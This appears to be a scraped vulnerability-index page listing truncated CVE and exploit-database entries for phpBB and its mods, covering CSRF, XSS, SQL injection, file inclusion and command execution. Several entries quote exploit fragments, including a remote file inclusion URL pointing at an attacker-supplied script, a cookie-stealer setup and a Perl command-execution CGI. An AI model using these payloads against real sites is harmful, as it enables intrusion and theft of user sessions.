CVE-2015-1432

The messageoptions function in includes/ucp/ucppmoptions.php in phpBB before 3.0.13 does not properly validate the form key, which allows remote attackers to conduct CSRF attacks and change the full folder setting via unspecified vectors...

CVE-2015-1432

The messageoptions function in includes/ucp/ucppmoptions.php in phpBB before 3.0.13 does not properly validate the form key, which allows remote attackers to conduct CSRF attacks and change the full folder setting via unspecified vectors...

CVE-2015-1431

CVE-2015-1431 affects phpBB up to 3.0.12, with an XSS vulnerability in includes/startup.php exploitable via Relative Path Overwrite. The issue allows remote attackers to inject arbitrary script/HTML. The public details indicate the vulnerability exists in phpBB before 3.0.13 and has been addresse...

CVE-2015-1432

CVE-2015-1432 concerns phpBB

CVE-2015-1431

Cross-site scripting XSS vulnerability in includes/startup.php in phpBB before 3.0.13 allows remote attackers to inject arbitrary web script or HTML via vectors related to "Relative Path Overwrite."...

phpBB 3.1.1 deregister_globals() Bypass

When PHP's registerglobals configuration directive set on, phpBB will call deregisterglobals function, all global variables registered by PHP will be destroyed. But deregisterglobals functions can be bypassed. $input = arraymerge arraykeys$GET, arraykeys$POST, arraykeys$COOKIE, arraykeys$SERVER,...

PHPOpenChat 2.3.4/3.0.1 PoC_loginform.php phpbb_root_path Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/12817/info PHPOpenChat is prone to multiple remote file-include vulnerabilities. An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the...

PHPBB 1.x/2.0.x Search.PHP Search_Results Parameter SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9883/info A vulnerability has been reported to exist in the software that may allow a remote user to inject malicious SQL syntax into database queries. The problem reportedly exists in one of the parameters of the...

phpBB <= 2.0.16 XSS Remote Cookie Disclosure Exploit

No description provided by source. / 1 Change milw0rm.com to your domain.com 2 Post the below code into a new message. Example Output: ... - - 09/Jul/2005:03:09:13 -0500 GET...

PHPBB 2.0.x Authentication Bypass Vulnerability (3)

No description provided by source. source: http://www.securityfocus.com/bid/12678/info phpBB is affected by an authentication bypass vulnerability. This issue is due to the application failing to properly sanitize user-supplied input during authentication. Exploitation of this vulnerability would...

phpBB viewtopic.php Arbitrary Code Execution

No description provided by source. $Id: phpbbhighlight.rb 9671 2010-07-03 06:21:31Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of...

PHPBB Photo Album 2.0.53 Module Album_Cat.PHP Cross-Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/13157/info Photo Album is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...

phpBB <= 2.0.19 XSS Remote Cookie Disclosure Exploit

No description provided by source. to be used with cookie stealer located here: http://www.milw0rm.com/id.php?id=1103 Make sure you change www.milw0rm.com to your domain. thnx. /str0ke Author: threesixthousan / As long as html is ON in the latest version of phpBB forums, several XSS attack vector...

PhpBB BBRSS.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/18432/info The bbrss plugin for PhpBB is prone to a remote file-include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of...

phpBB Spider Friendly Module <= 1.3.10 File Include Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? print ' | \\ | \\ | \ . . |\ \ \ /\ \ / /| || | | | | \ | \ Y / | || | | \ | \ \ / | || | |/ // / / ||| \ | / / \ / \ |\ /\ / / \ / \ | | | | / /\ \ / \ / \ | | | | / | / Y \ || / /| /| /...

phpBB Chart Mod 1.1 charts.php id Parameter SQL Injection

No description provided by source. source: http://www.securityfocus.com/bid/17952/info Chart Mod is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly...

phpBB Knowledge Base 2.0.2 Mod KB_constants.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/17763/info Knowledge Base Mod for phpbb is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to...

phpbb-auction 1.x auction_room.php ar Parameter SQL Injection

No description provided by source. source: http://www.securityfocus.com/bid/19179/info PHPBB-Auction is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. These vulnerabilities could permit remote...

phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)

No description provided by source. !/usr/bin/perl wphpbb.cgi hack service: http://site/cgi-bin/wphpbb.cgi use CGI qw:standard; $CGI::HEADERSONCE = 1; $CGI = new CGI; $atak = $CGI-paramatak; $serv = $CGI-paramserv; $dir = $CGI-paramdir; $topic = $CGI-paramtopic; $cmd = $CGI-paramcmd; print...

Advanced GuestBook <= 2.4.0 (phpBB) File Inclusion Vulnerability

No description provided by source. Title: Advanced GuestBook for phpBB = 2.4.0 Remote File Inclusion Dork: inurl:guestbook.php Advanced GuestBook powered by phpbb Credits: Oo Exploit: http://url/phpbbpath/admin/addentry.php?phpbbrootpath=http://badscript? milw0rm.com 2006-04-28...